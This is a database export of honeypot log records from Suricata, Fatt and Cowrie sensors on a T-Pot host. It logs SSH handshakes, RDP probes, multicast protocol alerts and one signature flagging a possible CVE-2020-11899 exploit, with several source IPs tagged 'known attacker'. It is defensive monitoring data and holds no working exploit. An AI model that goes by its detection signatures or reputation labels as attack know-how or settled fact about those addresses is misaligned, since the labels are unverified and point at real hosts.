"in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:29.416826Z", "@timestamp": "2021-09-20T11:34:29.416Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30319	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:29.918989+03	2021-09-20 14:45:02.848143+03	{"_id": "Awb8AnwBvYTbRNuEcTwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:29.918989Z", "@timestamp": "2021-09-20T11:34:29.918Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30320	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:30.408646+03	2021-09-20 14:45:02.849144+03	{"_id": "BQb8AnwBvYTbRNuEcTwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:30.408646Z", "@timestamp": "2021-09-20T11:34:30.408Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30321	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:34:30.562735+03	2021-09-20 14:45:02.850143+03	{"_id": "Bwb8AnwBvYTbRNuEcTwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:34:30.468136+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1184023460586664, "payload": "AAADzAYUfj7M9N5HKWD5rXX0jUpXWAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49422, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:34:30.562735Z", "@timestamp": "2021-09-20T11:34:30.562Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......~>...G)`..u..JWX...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30322	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:34:30.555526+03	2021-09-20 14:45:02.852142+03	{"_id": "Cwb8AnwBvYTbRNuEcTwT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1184023460586664, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49422, "dest_port": 22, "timestamp": "2021-09-20T11:34:30.555526Z", "@timestamp": "2021-09-20T11:34:30.555Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30323	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:29.922768+03	2021-09-20 14:45:02.853142+03	{"_id": "CQb8AnwBvYTbRNuEcTwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 380}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:29.922768Z", "@timestamp": "2021-09-20T11:34:29.922Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30324	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:29.914114+03	2021-09-20 14:45:02.854142+03	{"_id": "DAb8AnwBvYTbRNuEcTwT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:29.914114+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0001", "flow_id": 1605383374631618, "payload": "IAAAAP6AAAAAAAAAJUa1YjrwnwI=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 136, "timestamp": "2021-09-20T11:34:29.914114Z", "@timestamp": "2021-09-20T11:34:29.914Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": " ...........%F.b:..."}}	1	\N	\N	alert	\N	\N
30325	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:30.51572+03	2021-09-20 14:45:02.856142+03	{"_id": "DQb8AnwBvYTbRNuEcjwf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49422, "timestamp": "2021-09-20T11:34:30.515720", "@timestamp": "2021-09-20T11:34:30.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30326	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.51504+03	2021-09-20 14:45:02.857142+03	{"_id": "Iwb8AnwBvYTbRNuEdDz8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.515040Z", "@timestamp": "2021-09-20T11:34:31.515Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30328	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:34:23.587012+03	2021-09-20 14:45:02.859142+03	{"_id": "7gb8AnwBvYTbRNuEVjvE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54710, "dest_port": 22, "timestamp": "2021-09-20T11:34:23.587012", "@timestamp": "2021-09-20T11:34:23.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30329	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:34:23.587662+03	2021-09-20 14:45:02.861142+03	{"_id": "8Ab8AnwBvYTbRNuEVzvw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a7f26f833884", "@version": "1", "timestamp": "2021-09-20T11:34:23.587662Z", "@timestamp": "2021-09-20T11:34:23.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30330	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:34:24.744792+03	2021-09-20 14:45:02.863144+03	{"_id": "8Qb8AnwBvYTbRNuEWTuc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:24.020679+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557346664647, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:24.744792Z", "@timestamp": "2021-09-20T11:34:24.744Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30331	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:34:24.745348+03	2021-09-20 14:45:02.864145+03	{"_id": "9Qb8AnwBvYTbRNuEWTuc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:24.745348+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187366104964, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:24.745348Z", "@timestamp": "2021-09-20T11:34:24.745Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30332	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:34:19.377109+03	2021-09-20 14:45:02.865145+03	{"_id": "3Ab8AnwBvYTbRNuERjsR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:19.045349+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1850301736530213, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63872, "dest_port": 3389, "timestamp": "2021-09-20T11:34:19.377109Z", "@timestamp": "2021-09-20T11:34:19.377Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30333	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:34:19.377109+03	2021-09-20 14:45:02.866144+03	{"_id": "3gb8AnwBvYTbRNuERjsR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:19.045349+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1850301736530213, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63872, "dest_port": 3389, "timestamp": "2021-09-20T11:34:19.377109Z", "@timestamp": "2021-09-20T11:34:19.377Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30334	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:34:19.377109+03	2021-09-20 14:45:02.868142+03	{"_id": "3wb8AnwBvYTbRNuERzsi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 63872, "dest_port": 3389, "timestamp": "2021-09-20T11:34:19.377109", "@timestamp": "2021-09-20T11:34:19.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
